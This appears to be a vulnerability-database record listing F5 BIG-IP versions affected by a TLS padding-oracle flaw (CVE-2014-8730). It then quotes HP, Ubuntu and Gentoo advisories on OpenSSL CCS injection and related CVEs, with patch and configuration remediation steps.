        "vendor": "f5",
        "version": "4.2.0"
      },
      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 1.0,
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        "version": "11.4.0"
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      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
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        "version": "10.2.0"
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        "model": "big-ip webaccelerator",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.1.0"
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      {
        "model": "big-ip local traffic manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.4.0"
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      {
        "model": "big-iq cloud",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "4.0.0"
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      {
        "model": "big-ip protocol security module",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.4.0"
      },
      {
        "model": "big-ip application acceleration manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.4.0"
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        "model": "big-ip wan optimization manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.4"
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      {
        "model": "big-ip policy enforcement manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.4.1"
      },
      {
        "model": "big-ip protocol security module",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.0.1"
      },
      {
        "model": "big-ip application acceleration manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.6.0"
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      {
        "model": "big-ip wan optimization manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.0"
      },
      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.3"
      },
      {
        "model": "big-ip policy enforcement manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.5.0"
      },
      {
        "model": "big-iq cloud",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "4.4.0"
      },
      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.5.1"
      },
      {
        "model": "big-ip protocol security module",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.3"
      },
      {
        "model": "big-ip protocol security module",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.0.0"
      },
      {
        "model": "big-ip local traffic manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.5.1"
      },
      {
        "model": "big-iq security",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "4.1.0"
      },
      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.2.0"
      },
      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.2"
      },
      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.4.0"
      },
      {
        "model": "big-ip application acceleration manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.5.1"
      },
      {
        "model": "big-ip local traffic manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.2.0"
      },
      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.0.1"
      },
      {
        "model": "big-ip protocol security module",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.2.0"
      },
      {
        "model": "big-ip advanced firewall manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.5.0"
      },
      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.5.0"
      },
      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.0.0"
      },
      {
        "model": "big-ip webaccelerator",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.1.0"
      },
      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.3"
      },
      {
        "model": "big-ip wan optimization manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.0.1"
      },
      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.3.0"
      },
      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.5.1"
      },
      {
        "model": "big-ip edge gateway",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.0.0"
      },
      {
        "model": "big-ip webaccelerator",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.0.0"
      },
      {
        "model": "big-ip local traffic manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.3.0"
      },
      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.2.1"
      },
      {
        "model": "big-ip application acceleration manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.5.0"
      },
      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.2.0"
      },
      {
        "model": "big-ip protocol security module",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.3.0"
      },
      {
        "model": "big-ip analytics",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.4.1"
      },
      {
        "model": "big-ip local traffic manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.2.1"
      },
      {
        "model": "big-ip policy enforcement manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.4.0"
      },
      {
        "model": "big-ip wan optimization manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.3"
      },
      {
        "model": "big-ip wan optimization manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.0.0"
      },
      {
        "model": "big-ip protocol security module",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.2.1"
      },
      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.1.0"
      },
      {
        "model": "big-ip policy enforcement manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.6.0"
      },
      {
        "model": "big-ip wan optimization manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.1.0"
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      {
        "model": "big-ip webaccelerator",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.4"
      },
      {
        "model": "big-ip protocol security module",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.1.0"
      },
      {
        "model": "big-ip wan optimization manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.2"
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      {
        "model": "big-ip wan optimization manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.2.0"
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      {
        "model": "big-ip edge gateway",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.0"
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      {
        "model": "big-ip webaccelerator",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.0"
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      {
        "model": "big-ip analytics",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.3.0"
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      {
        "model": "big-ip edge gateway",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.1.0"
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      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.3.0"
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      {
        "model": "big-ip policy enforcement manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.5.1"
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      {
        "model": "big-iq security",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "4.4.0"
      },
      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.2.1"
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      {
        "model": "big-iq security",
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        "trust": 1.0,
        "vendor": "f5",
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      {
        "model": "big-iq security",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "4.2.0"
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      {
        "model": "big-ip application security manager",
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        "version": "11.1.0"
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        "model": "big-ip wan optimization manager",
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        "trust": 1.0,
        "vendor": "f5",
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        "model": "big-ip wan optimization manager",
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        "trust": 1.0,
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        "version": "11.2.1"
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      {
        "model": "big-ip advanced firewall manager",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "11.5.1"
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      {
        "model": "big-ip access policy manager",
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        "trust": 1.0,
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        "model": "big-ip analytics",
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        "vendor": "f5",
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      {
        "model": "big-ip wan optimization manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.1.0"
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      {
        "model": "big-ip protocol security module",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.1"
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      {
        "model": "big-ip policy enforcement manager",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "11.3.0"
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      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.1.0"
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      {
        "model": "big-ip webaccelerator",
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        "trust": 1.0,
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      {
        "model": "big-ip advanced firewall manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.4.1"
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      {
        "model": "big-iq cloud",
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        "trust": 1.0,
        "vendor": "f5",
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      {
        "model": "big-iq cloud",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "4.2.0"
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      {
        "model": "big-ip access policy manager",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "11.0.0"
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      {
        "model": "big-ip protocol security module",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "10.1.0"
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        "model": "big-ip edge gateway",
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        "model": "big-ip webaccelerator",
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        "trust": 1.0,
        "vendor": "f5",
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      {
        "model": "big-ip protocol security module",
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        "trust": 1.0,
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      {
        "model": "big-ip local traffic manager",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "11.4.1"
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      {
        "model": "big-ip protocol security module",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "11.0.0"
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        "model": "big-ip webaccelerator",
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        "trust": 1.0,
        "vendor": "f5",
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      {
        "model": "big-ip edge gateway",
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        "vendor": "f5",
        "version": "10.1.0"
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      {
        "model": "big-ip protocol security module",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.4.1"
      },
      {
        "model": "big-iq cloud",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "4.1.0"
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      {
        "model": "big-ip application acceleration manager",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "11.4.1"
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      {
        "model": "big-ip advanced firewall manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.3.0"
      },
      {
        "model": "big-ip edge gateway",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.2.0"
      },
      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.4"
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      {
        "model": "big-ip webaccelerator",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.2"
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      {
        "model": "big-ip webaccelerator",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.2.0"
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      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.1"
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      {
        "model": "big-ip analytics",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.2.0"
      },
      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.0"
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      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.1.0"
      },
      {
        "model": "big-ip protocol security module",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.4"
      },
      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.2"
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      {
        "model": "big-ip protocol security module",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.0"
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      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.0.0"
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      {
        "model": "big-ip wan optimization manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "10.2.1"
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      {
        "model": "big-iq security",
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        "trust": 1.0,
        "vendor": "f5",
        "version": "4.0.0"
      },
      {
        "model": "big-ip application security manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.4.1"
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      {
        "model": "big-ip analytics",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "f5",
        "version": "11.5.0"
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      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "f5",
        "version": "10.1.0 to  10.2.4"
      },
      {
        "model": "big-ip access policy manager",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "f5",
        "version": "11.0.0 to  11.5.1"
      },
      {
        "model": "big-ip advanced firewall manager",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "f5",
        "version": "11.3.0 to  11.5.1"
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      {
        "model": "big-ip analytics",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "f5",
        "version": "11.0.0 to  11.5.1"
      },
      {
        "model": "big-ip application acceleration manager",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "f5",
        "version": "11.4.0 to  11.5.1"
      },
      {
        "model": "big-ip application security manager",
        "scope": "eq",
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    "data": "The SSL profiles component in F5 BIG-IP LTM, APM, and ASM 10.0.0 through 10.2.4 and 11.0.0 through 11.5.1, AAM 11.4.0 through 11.5.1, AFM 11.3.0 through 11.5.1, Analytics 11.0.0 through 11.5.1, Edge Gateway, WebAccelerator, and WOM 10.1.0 through 10.2.4 and 11.0.0 through 11.3.0, PEM 11.3.0 through 11.6.0, and PSM 10.0.0 through 10.2.4 and 11.0.0 through 11.4.1 and BIG-IQ Cloud and Security 4.0.0 through 4.4.0 and Device 4.2.0 through 4.4.0, when using TLS 1.x before TLS 1.2, does not properly check CBC padding bytes when terminating connections, which makes it easier for man-in-the-middle attackers to obtain cleartext data via a padding-oracle attack, a variant of CVE-2014-3566 (aka POODLE).  NOTE: the scope of this identifier is limited to the F5 implementation only. Other vulnerable implementations should receive their own CVE ID, since this is not a vulnerability within the design of TLS 1.x itself. The problem is CVE-2014-3566 ( alias POODLE) Similar problem. TLS is a new protocol developed by the IETF (Engineering Task Force). It is based on the SSL protocol specification and is the subsequent version of SSL. The Secure Transport Layer Protocol (TLS) is used to provide confidentiality and data integrity between two communication applications. \r\n\r\n\r\nTLS has security vulnerabilities that mainly affect browsers. Because TLS1.2 failed to correctly verify PADDING, even if the attacker did not first downgrade to SSL3.0, he could use TLS1.2 to bypass the transport layer encryption mechanism by using man-in-the-middle attack methods to steal the user\u0027s sensitive information, such as cookies , Account information, etc. \nNote: This issue was previously titled \u0027OpenSSL CVE-2014-8730 Man In The  Middle Information Disclosure Vulnerability\u0027. The title and technical  details have been changed to better reflect the underlying component  affected. \nAn attacker can exploit this issue to perform man-in-the-middle attacks and obtain sensitive information. Successful exploits will lead to other attacks. F5 BIG-IP LTM, etc. LTM is a local traffic manager; APM is a solution that provides secure unified access to business-critical applications and networks. The following products and versions are affected: F5 BIG-IP LTM, APM, ASM version 10.0.0 to 10.2.4 and 11.0.0 to 11.5.1, AAM version 11.4.0 to 11.5.1, AFM 11.3. 0 to 11.5.1, Analytics 11.0.0 to 11.5.1, Edge Gateway, WebAccelerator, WOM 10.1.0 to 10.2.4 and 11.0.0 to 11.3.0, PEM 11.3.0 to 11.6.0, PSM 10.0.0 to 10.2.4 and 11.0.0 to 11.4.1, BIG-IQ Cloud, Security 4.0.0 to 4.4.0, Device 4.2.0 to 4.4 .0 version. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n\nNote: the current version of the following document is available here:\nhttps://h20564.www2.hpe.com/portal/site/hpsc/public/kb/\ndocDisplay?docId=emr_na-c04819635\n\nSUPPORT COMMUNICATION - SECURITY BULLETIN\n\nDocument ID: c04819635\nVersion: 1\n\nHPSBPV03516 rev.1 - HP VAN SDN Controller, Multiple Vulnerabilities\n\nNOTICE: The information in this Security Bulletin should be acted upon as\nsoon as possible. \n\nRelease Date: 2015-09-29\nLast Updated: 2015-09-29\n\nPotential Security Impact: Disclosure of Privileged Information, Remote\nDisclosure of Privileged Information\n\nSource: Hewlett-Packard Company, HP Software Security Response Team\n\nVULNERABILITY SUMMARY\nA potential security vulnerability has been identified with the HP VAN SDN\nController running SSLv3. This is the SSLv3 vulnerability known as \"Padding\nOracle on Downgraded Legacy Encryption\" also known as \"Poodle\", which could\nbe exploited remotely resulting in disclosure of privileged information. \n\nReferences:\n\nCVE-2014-8730\nSSRT102263\n\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. \n\nVAN SDN Controller 2.5.21\nVAN SDN Controller 2.5.15\n\nBACKGROUND\n\nCVSS 2.0 Base Metrics\n===========================================================\n  Reference              Base Vector             Base Score\nCVE-2014-8730    (AV:N/AC:M/Au:N/C:P/I:N/A:N)       4.3\n===========================================================\n             Information on CVSS is documented\n            in HP Customer Notice: HPSN-2008-002\n\nRESOLUTION\n\nHP recommends disabling TLS v1.0 by deleting its entry in sslEnabledProtocols\nin the client Auth properties of the\n/opt/sdn/virgo/configuration/tomcat-server.xml file. \n\nOpen the /opt/sdn/virgo/configuration/tomcat-server.xml file for editing\nChange the following line from this: clientAuth=\"false\"\nsslEnabledProtocols=\"TLSv1.0, TLSv1.1,TLSv1.2\" to this: clientAuth=\"false\"\nsslEnabledProtocols=\" TLSv1.1,TLSv1.2\"\nRestart the controller. \n\nHISTORY\nVersion:1 (rev.1) - 29 September 2015 Initial release\n\nThird Party Security Patches: Third party security patches that are to be\ninstalled on systems running HP software products should be applied in\naccordance with the customer\u0027s patch management policy. \n\nSupport: For issues about implementing the recommendations of this Security\nBulletin, contact normal HP Services support channel.  For other issues about\nthe content of this Security Bulletin, send e-mail to security-alert@hp.com. \n\nReport: To report a potential security vulnerability with any HP supported\nproduct, send Email to: security-alert@hp.com\n\nSubscribe: To initiate a subscription to receive future HP Security Bulletin\nalerts via Email:\nhttp://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins\n\nSecurity Bulletin Archive: A list of recently released Security Bulletins is\navailable here:\nhttps://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/\n\nSoftware Product Category: The Software Product Category is represented in\nthe title by the two characters following HPSB. \n\n3C = 3COM\n3P = 3rd Party Software\nGN = HP General Software\nHF = HP Hardware and Firmware\nMP = MPE/iX\nMU = Multi-Platform Software\nNS = NonStop Servers\nOV = OpenVMS\nPI = Printing and Imaging\nPV = ProCurve\nST = Storage Software\nTU = Tru64 UNIX\nUX = HP-UX\n\nCopyright 2015 Hewlett-Packard Development Company, L.P. \nHewlett-Packard Company shall not be liable for technical or editorial errors\nor omissions contained herein. The information provided is provided \"as is\"\nwithout warranty of any kind. To the extent permitted by law, neither HP or\nits affiliates, subcontractors or suppliers will be liable for\nincidental,special or consequential damages including downtime cost; lost\nprofits; damages relating to the procurement of substitute products or\nservices; or damages for loss of data, or software restoration. The\ninformation in this document is subject to change without notice. \nHewlett-Packard Company and the names of Hewlett-Packard products referenced\nherein are trademarks of Hewlett-Packard Company in the United States and\nother countries. Other product and company names mentioned herein may be\ntrademarks of their respective owners. \n\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.13 (GNU/Linux)\n\niEYEARECAAYFAlYKlgkACgkQ4B86/C0qfVmdggCg40wxxeG+Op+gBFzLBG9neKCo\nbW4AnjzTddq/rpaQfITkTvhg7DUpT9f5\n=Px26\n-----END PGP SIGNATURE-----\n",
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var-201406-0445
Vulnerability from variot

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCipherSpec messages, which allows man-in-the-middle attackers to trigger use of a zero-length master key in certain OpenSSL-to-OpenSSL communications, and consequently hijack sessions or obtain sensitive information, via a crafted TLS handshake, aka the "CCS Injection" vulnerability. OpenSSL is prone to security-bypass vulnerability. Successfully exploiting this issue may allow attackers to obtain sensitive information by conducting a man-in-the-middle attack. This may lead to other attacks. Versions prior to OpenSSL 1.0.1 and 1.0.2-beta1 are vulnerable.

HP Connect IT / HP SPM CIT - 9.5x Please install: HP Connect IT 9.53.P2

For Windows http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00070

For Linux http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00071

For AIX http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00072

For HPUX http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00073

For Solaris http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00074

HP Connect IT / HP SPM CIT - 9.4x Please install: HP Connect IT 9.40.P1

For windows(en) http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00075

For Linux(en) http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00076

For AIX(en) http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00077

For HPUX(en) http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00078

For Solaris(en) http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00079

HP Connect IT / HP SPM AM 5.2x Please install: HP Connect IT 9.41.P1

HISTORY Version:1 (rev.1) - 19 August 2014 Initial release

Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy. ============================================================================ Ubuntu Security Notice USN-2232-3 June 23, 2014

openssl regression

A security issue affects these releases of Ubuntu and its derivatives:

  • Ubuntu 14.04 LTS
  • Ubuntu 13.10
  • Ubuntu 12.04 LTS
  • Ubuntu 10.04 LTS

Summary:

USN-2232-1 introduced a regression in OpenSSL. The upstream fix for CVE-2014-0224 caused a regression for certain applications that use renegotiation, such as PostgreSQL. This update fixes the problem.

Original advisory details:

J=C3=BCri Aedla discovered that OpenSSL incorrectly handled invalid DTLS fragments. This issue only affected Ubuntu 12.04 LTS, Ubuntu 13.10, and Ubuntu 14.04 LTS. (CVE-2014-0195) Imre Rad discovered that OpenSSL incorrectly handled DTLS recursions. A remote attacker could use this issue to cause OpenSSL to crash, resulting in a denial of service. (CVE-2014-0221) KIKUCHI Masashi discovered that OpenSSL incorrectly handled certain handshakes. (CVE-2014-0224) Felix Gr=C3=B6bert and Ivan Fratri=C4=87 discovered that OpenSSL incorrectly handled anonymous ECDH ciphersuites. A remote attacker could use this issue to cause OpenSSL to crash, resulting in a denial of service. This issue only affected Ubuntu 12.04 LTS, Ubuntu 13.10, and Ubuntu 14.04 LTS. (CVE-2014-3470)

Update instructions:

The problem can be corrected by updating your system to the following package versions:

Ubuntu 14.04 LTS: libssl1.0.0 1.0.1f-1ubuntu2.4

Ubuntu 13.10: libssl1.0.0 1.0.1e-3ubuntu1.6

Ubuntu 12.04 LTS: libssl1.0.0 1.0.1-4ubuntu5.16

Ubuntu 10.04 LTS: libssl0.9.8 0.9.8k-7ubuntu8.19

After a standard system update you need to reboot your computer to make all the necessary changes.

References: http://www.ubuntu.com/usn/usn-2232-3 http://www.ubuntu.com/usn/usn-2232-1 https://launchpad.net/bugs/1332643

Package Information: https://launchpad.net/ubuntu/+source/openssl/1.0.1f-1ubuntu2.4 https://launchpad.net/ubuntu/+source/openssl/1.0.1e-3ubuntu1.6 https://launchpad.net/ubuntu/+source/openssl/1.0.1-4ubuntu5.16 https://launchpad.net/ubuntu/+source/openssl/0.9.8k-7ubuntu8.19 . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201407-05


                                        http://security.gentoo.org/

Severity: High Title: OpenSSL: Multiple vulnerabilities Date: July 27, 2014 Bugs: #512506 ID: 201407-05


Synopsis

Multiple vulnerabilities have been found in OpenSSL, possibly allowing remote attackers to execute arbitrary code.

Affected packages

-------------------------------------------------------------------
 Package              /     Vulnerable     /            Unaffected
-------------------------------------------------------------------

1 dev-libs/openssl < 1.0.1h-r1 >= 0.9.8z_p5 >= 0.9.8z_p4 >= 0.9.8z_p1 >= 0.9.8z_p3 >= 0.9.8z_p2 >= 1.0.0m >= 1.0.1h-r1

Description

Multiple vulnerabilities have been discovered in OpenSSL.

Workaround

There is no known workaround at this time.

Resolution

All OpenSSL users should upgrade to the latest version:

# emerge --sync # emerge --ask --oneshot --verbose ">=dev-libs/openssl-1.0.1h-r1"

References

[ 1 ] CVE-2010-5298 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-5298 [ 2 ] CVE-2014-0195 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-0195 [ 3 ] CVE-2014-0198 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-0198 [ 4 ] CVE-2014-0221 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-0221 [ 5 ] CVE-2014-0224 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-0224 [ 6 ] CVE-2014-3470 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3470 [ 7 ] OpenSSL Security Advisory [05 Jun 2014] http://www.openssl.org/news/secadv_20140605.txt

Availability

This GLSA and any updates to it are available for viewing at the Gentoo Security Website:

http://security.gentoo.org/glsa/glsa-201407-05.xml

Concerns?

Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org.

License

Copyright 2014 Gentoo Foundation, Inc; referenced text belongs to its owner(s).

The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5 . The bulletin does not apply to any other 3rd party application (e.g. operating system, web server, or application server) that may be required to be installed by the customer according instructions in the product install guide. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

Note: the current version of the following document is available here: https://h20564.www2.hp.com/portal/site/hpsc/public/kb/ docDisplay?docId=emr_na-c04347622

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c04347622 Version: 1

HPSBHF03052 rev.1 - HP Intelligent Management Center (iMC), HP Network Products including H3C and 3COM Routers and Switches running OpenSSL, Remote Denial of Service (DoS), Code Execution, Unauthorized Access, Modification or Disclosure of Information

NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.

Release Date: 2014-06-20 Last Updated: 2014-06-20

Potential Security Impact: Remote Denial of Service (DoS), code execution, unauthorized access, modification of information, disclosure of information

Source: Hewlett-Packard Company, HP Software Security Response Team

VULNERABILITY SUMMARY Potential security vulnerabilities have been identified with HP Intelligent Management Center (iMC), HP Network Products including 3COM and H3C routers and switches running OpenSSL. The vulnerabilities could be exploited remotely to create a Denial of Service (DoS), execute code, allow unauthorized access, modify or disclose information.

References:

CVE-2010-5298 Remote Denial of Service (DoS) or Modification of Information CVE-2014-0198 Remote Unauthorized Access (only iMC impacted) CVE-2014-0224 Remote Unauthorized Access or Disclosure of Information SSRT101561 Note: All products listed are impacted by CVE-2014-0224 . iMC is also impacted by CVE-2014-0198 and CVE-2010-5298

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. Please refer to the RESOLUTION section below for a list of impacted products.

BACKGROUND

CVSS 2.0 Base Metrics

Reference Base Vector Base Score CVE-2010-5298 (AV:N/AC:H/Au:N/C:N/I:P/A:P) 4.0 CVE-2014-0198 (AV:N/AC:M/Au:N/C:N/I:N/A:P) 4.3 CVE-2014-0224 (AV:N/AC:M/Au:N/C:P/I:P/A:P) 6.8 =========================================================== Information on CVSS is documented in HP Customer Notice: HPSN-2008-002

RESOLUTION On June 5th 2014, OpenSSL.org issued an advisory with several CVE vulnerabilities. HP Networking is working to release fixes for these vulnerabilities that impact the products in the table below. As fixed software is made available, this security bulletin will be updated to show the fixed versions. Until the software fixes are available, HP Networking is providing the following information including possible workarounds to mitigate the risks of these vulnerabilities.

Description

The most serious issue reported is CVE-2014-0224 and it is the one discussed here. To take advantage CVE-2014-0224, an attacker must:

be in between the OpenSSL client and OpenSSL server. be capable of intercepting and modifying packets between the OpenSSL client and OpenSSL server in real time.

Workarounds

HP Networking equipment is typically deployed inside firewalls and access to management interfaces and other protocols is more tightly controlled than in public environments. This deployment and security restrictions help to reduce the possibility of an attacker being able to intercept both OpenSSL client and OpenSSL server traffic.

Following the guidelines in the Hardening Comware-based devices can help to further reduce man-in-the-middle opportunities:

http://h20564.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=c03536 920

For an HP Networking device acting as an OpenSSL Server, using a patched OpenSSL client or non-OpenSSL client eliminates the risk. As an example, most modern web browsers do not use the OpenSSL client and the sessions between the HP Networking OpenSSL server and the non-OpenSSL client are not at risk for this attack. For HP Networking Equipment that is using an OpenSSL client, patching the OpenSSL server will eliminate the risk of this attack.

Protocol Notes

The following details the protocols that use OpenSSL in Comware v5 and Comware v7:

Comware V7:

Server:

FIPS/HTTPS/Load Balancing/Session Initiation Protocol

Client:

Load Balancing/OpenFlow/Session Initiation Protocol/State Machine Based Anti-Spoofing/Dynamic DNS

Comware V5:

Server:

CAPWAP/EAP/SSLVPN

Client:

Dynamic DNS

Family Fixed Version HP Branded Products Impacted H3C Branded Products Impacted 3Com Branded Products Impacted

